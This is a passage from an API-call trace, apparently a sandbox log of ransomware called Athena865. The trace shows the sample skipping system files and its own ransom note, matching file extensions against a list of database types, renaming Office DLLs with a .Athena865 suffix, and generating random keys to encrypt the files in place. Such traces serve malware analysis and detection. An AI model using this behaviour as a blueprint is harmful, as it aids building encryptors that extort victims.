[0074.458] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0074.458] lstrlenW (lpString="db") returned 2 [0074.458] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0074.458] lstrlenW (lpString="db2") returned 3 [0074.458] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0074.458] lstrlenW (lpString="db3") returned 3 [0074.458] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0074.458] lstrlenW (lpString="dbf") returned 3 [0074.458] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0074.458] lstrlenW (lpString="mdf") returned 3 [0074.458] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0074.458] lstrlenW (lpString="mdb") returned 3 [0074.459] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0074.459] lstrlenW (lpString="sql") returned 3 [0074.459] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0074.459] lstrlenW (lpString="sqlite") returned 6 [0074.459] lstrcmpiW (lpString1="PH.DLL", lpString2="sqlite") returned -1 [0074.459] lstrlenW (lpString="sqlite3") returned 7 [0074.459] lstrcmpiW (lpString1="IPH.DLL", lpString2="sqlite3") returned -1 [0074.459] lstrlenW (lpString="sqlitedb") returned 8 [0074.459] lstrcmpiW (lpString1="PIPH.DLL", lpString2="sqlitedb") returned -1 [0074.459] lstrlenW (lpString="xml") returned 3 [0074.459] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0074.459] lstrlenW (lpString="$er") returned 3 [0074.459] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0074.459] lstrlenW (lpString="4dd") returned 3 [0074.459] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0074.459] lstrlenW (lpString="4dl") returned 3 [0074.459] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0074.459] lstrlenW (lpString="^^^") returned 3 [0074.459] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0074.459] lstrlenW (lpString="abs") returned 3 [0074.459] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0074.459] lstrlenW (lpString="abx") returned 3 [0074.459] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0074.459] lstrlenW (lpString="accdb") returned 5 [0074.459] lstrcmpiW (lpString1="H.DLL", lpString2="accdb") returned 1 [0074.459] lstrlenW (lpString="accdc") returned 5 [0074.459] lstrcmpiW (lpString1="H.DLL", lpString2="accdc") returned 1 [0074.459] lstrlenW (lpString="accde") returned 5 [0074.459] lstrcmpiW (lpString1="H.DLL", lpString2="accde") returned 1 [0074.459] lstrlenW (lpString="accdr") returned 5 [0074.459] lstrcmpiW (lpString1="H.DLL", lpString2="accdr") returned 1 [0074.459] lstrlenW (lpString="accdt") returned 5 [0074.459] lstrcmpiW (lpString1="H.DLL", lpString2="accdt") returned 1 [0074.459] lstrlenW (lpString="accdw") returned 5 [0074.459] lstrcmpiW (lpString1="H.DLL", lpString2="accdw") returned 1 [0074.460] lstrlenW (lpString="accft") returned 5 [0074.460] lstrcmpiW (lpString1="H.DLL", lpString2="accft") returned 1 [0074.460] lstrlenW (lpString="adb") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0074.460] lstrlenW (lpString="adb") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0074.460] lstrlenW (lpString="ade") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0074.460] lstrlenW (lpString="adf") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0074.460] lstrlenW (lpString="adn") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0074.460] lstrlenW (lpString="adp") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0074.460] lstrlenW (lpString="alf") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0074.460] lstrlenW (lpString="ask") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0074.460] lstrlenW (lpString="btr") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0074.460] lstrlenW (lpString="cat") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0074.460] lstrlenW (lpString="cdb") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0074.460] lstrlenW (lpString="ckp") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0074.460] lstrlenW (lpString="cma") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0074.460] lstrlenW (lpString="cpd") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0074.460] lstrlenW (lpString="dacpac") returned 6 [0074.460] lstrcmpiW (lpString1="PH.DLL", lpString2="dacpac") returned 1 [0074.460] lstrlenW (lpString="dad") returned 3 [0074.460] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0074.460] lstrlenW (lpString="dadiagrams") returned 10 [0074.461] lstrlenW (lpString="daschema") returned 8 [0074.461] lstrcmpiW (lpString1="PIPH.DLL", lpString2="daschema") returned 1 [0074.461] lstrlenW (lpString="db-journal") returned 10 [0074.461] lstrlenW (lpString="db-shm") returned 6 [0074.461] lstrcmpiW (lpString1="PH.DLL", lpString2="db-shm") returned 1 [0074.461] lstrlenW (lpString="db-wal") returned 6 [0074.461] lstrcmpiW (lpString1="PH.DLL", lpString2="db-wal") returned 1 [0074.461] lstrlenW (lpString="dbc") returned 3 [0074.461] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0074.461] lstrlenW (lpString="dbs") returned 3 [0074.461] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0074.461] lstrlenW (lpString="dbt") returned 3 [0074.461] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0074.461] lstrlenW (lpString="dbv") returned 3 [0074.461] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0074.461] lstrlenW (lpString="dbx") returned 3 [0074.461] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0074.461] lstrlenW (lpString="dcb") returned 3 [0074.461] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0074.461] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0074.461] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0074.461] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0074.461] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0074.461] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0074.462] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL.Athena865") returned 63 [0074.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mapiph.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mapiph.dll.athena865"), dwFlags=0x1) returned 1 [0074.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mapiph.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0074.463] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=417184) returned 1 [0074.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.463] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.464] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.464] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.464] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x660a0, lpName=0x0) returned 0x154 [0074.466] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x660a0) returned 0x2d50000 [0074.481] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.482] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.482] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.483] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.486] CloseHandle (hObject=0x154) returned 1 [0074.486] CloseHandle (hObject=0x17c) returned 1 [0074.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.488] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x473d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MAPISHELL.DLL", cAlternateFileName="MAPISH~1.DLL")) returned 1 [0074.488] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.488] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.488] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2=".") returned 1 [0074.488] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2="..") returned 1 [0074.488] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2="windows") returned -1 [0074.488] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2="bootmgr") returned 1 [0074.488] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2="temp") returned -1 [0074.488] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2="pagefile.sys") returned -1 [0074.488] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2="boot") returned 1 [0074.488] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2="ids.txt") returned 1 [0074.488] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2="ntuser.dat") returned -1 [0074.488] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2="perflogs") returned -1 [0074.488] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2="MSBuild") returned -1 [0074.488] lstrlenW (lpString="MAPISHELL.DLL") returned 13 [0074.488] lstrcpyW (in: lpString1=0x241e89e, lpString2="MAPISHELL.DLL" | out: lpString1="MAPISHELL.DLL") returned="MAPISHELL.DLL" [0074.489] lstrlenW (lpString="MAPISHELL.DLL") returned 13 [0074.489] lstrlenW (lpString="Athena865") returned 9 [0074.489] lstrcmpiW (lpString1="SHELL.DLL", lpString2="Athena865") returned 1 [0074.489] lstrlenW (lpString=".dll") returned 4 [0074.489] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2=".dll") returned 1 [0074.489] lstrlenW (lpString=".lnk") returned 4 [0074.489] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2=".lnk") returned 1 [0074.489] lstrlenW (lpString=".ini") returned 4 [0074.489] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2=".ini") returned 1 [0074.489] lstrlenW (lpString=".sys") returned 4 [0074.489] lstrcmpiW (lpString1="MAPISHELL.DLL", lpString2=".sys") returned 1 [0074.489] lstrlenW (lpString="MAPISHELL.DLL") returned 13 [0074.489] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL.Athena865") returned 66 [0074.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mapishell.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mapishell.dll.athena865"), dwFlags=0x1) returned 1 [0074.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mapishell.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0074.490] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=291792) returned 1 [0074.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.490] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.491] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.491] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.491] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x476d0, lpName=0x0) returned 0x154 [0074.493] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x476d0) returned 0x2d50000 [0074.503] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.503] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.503] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.504] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.506] CloseHandle (hObject=0x154) returned 1 [0074.506] CloseHandle (hObject=0x17c) returned 1 [0074.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.509] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x23570, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MCPS.DLL", cAlternateFileName="")) returned 1 [0074.509] lstrcmpiW (lpString1="MCPS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.509] lstrcmpiW (lpString1="MCPS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.509] lstrcmpiW (lpString1="MCPS.DLL", lpString2=".") returned 1 [0074.509] lstrcmpiW (lpString1="MCPS.DLL", lpString2="..") returned 1 [0074.509] lstrcmpiW (lpString1="MCPS.DLL", lpString2="windows") returned -1 [0074.509] lstrcmpiW (lpString1="MCPS.DLL", lpString2="bootmgr") returned 1 [0074.509] lstrcmpiW (lpString1="MCPS.DLL", lpString2="temp") returned -1 [0074.509] lstrcmpiW (lpString1="MCPS.DLL", lpString2="pagefile.sys") returned -1 [0074.510] lstrcmpiW (lpString1="MCPS.DLL", lpString2="boot") returned 1 [0074.510] lstrcmpiW (lpString1="MCPS.DLL", lpString2="ids.txt") returned 1 [0074.510] lstrcmpiW (lpString1="MCPS.DLL", lpString2="ntuser.dat") returned -1 [0074.510] lstrcmpiW (lpString1="MCPS.DLL", lpString2="perflogs") returned -1 [0074.510] lstrcmpiW (lpString1="MCPS.DLL", lpString2="MSBuild") returned -1 [0074.510] lstrlenW (lpString="MCPS.DLL") returned 8 [0074.510] lstrcpyW (in: lpString1=0x241e89e, lpString2="MCPS.DLL" | out: lpString1="MCPS.DLL") returned="MCPS.DLL" [0074.510] lstrlenW (lpString="MCPS.DLL") returned 8 [0074.510] lstrlenW (lpString="Athena865") returned 9 [0074.510] lstrlenW (lpString=".dll") returned 4 [0074.510] lstrcmpiW (lpString1="MCPS.DLL", lpString2=".dll") returned 1 [0074.510] lstrlenW (lpString=".lnk") returned 4 [0074.510] lstrcmpiW (lpString1="MCPS.DLL", lpString2=".lnk") returned 1 [0074.510] lstrlenW (lpString=".ini") returned 4 [0074.510] lstrcmpiW (lpString1="MCPS.DLL", lpString2=".ini") returned 1 [0074.510] lstrlenW (lpString=".sys") returned 4 [0074.510] lstrcmpiW (lpString1="MCPS.DLL", lpString2=".sys") returned 1 [0074.510] lstrlenW (lpString="MCPS.DLL") returned 8 [0074.510] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL.Athena865") returned 61 [0074.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mcps.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mcps.dll.athena865"), dwFlags=0x1) returned 1 [0074.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mcps.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0074.512] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=144752) returned 1 [0074.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.512] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.513] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.513] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.513] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23870, lpName=0x0) returned 0x154 [0074.514] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23870) returned 0x170000 [0074.520] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.520] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.520] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.521] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0074.522] CloseHandle (hObject=0x154) returned 1 [0074.523] CloseHandle (hObject=0x17c) returned 1 [0074.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.523] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf009660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xfdb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MEDCAT.DLL", cAlternateFileName="")) returned 1 [0074.523] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.523] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2=".") returned 1 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2="..") returned 1 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2="windows") returned -1 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2="bootmgr") returned 1 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2="temp") returned -1 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2="pagefile.sys") returned -1 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2="boot") returned 1 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2="ids.txt") returned 1 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2="ntuser.dat") returned -1 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2="perflogs") returned -1 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2="MSBuild") returned -1 [0074.524] lstrlenW (lpString="MEDCAT.DLL") returned 10 [0074.524] lstrcpyW (in: lpString1=0x241e89e, lpString2="MEDCAT.DLL" | out: lpString1="MEDCAT.DLL") returned="MEDCAT.DLL" [0074.524] lstrlenW (lpString="MEDCAT.DLL") returned 10 [0074.524] lstrlenW (lpString="Athena865") returned 9 [0074.524] lstrcmpiW (lpString1="EDCAT.DLL", lpString2="Athena865") returned 1 [0074.524] lstrlenW (lpString=".dll") returned 4 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2=".dll") returned 1 [0074.524] lstrlenW (lpString=".lnk") returned 4 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2=".lnk") returned 1 [0074.524] lstrlenW (lpString=".ini") returned 4 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2=".ini") returned 1 [0074.524] lstrlenW (lpString=".sys") returned 4 [0074.524] lstrcmpiW (lpString1="MEDCAT.DLL", lpString2=".sys") returned 1 [0074.524] lstrlenW (lpString="MEDCAT.DLL") returned 10 [0074.524] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDCAT.DLL.Athena865") returned 63 [0074.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDCAT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\medcat.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDCAT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\medcat.dll.athena865"), dwFlags=0x1) returned 1 [0074.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDCAT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\medcat.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0074.526] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: 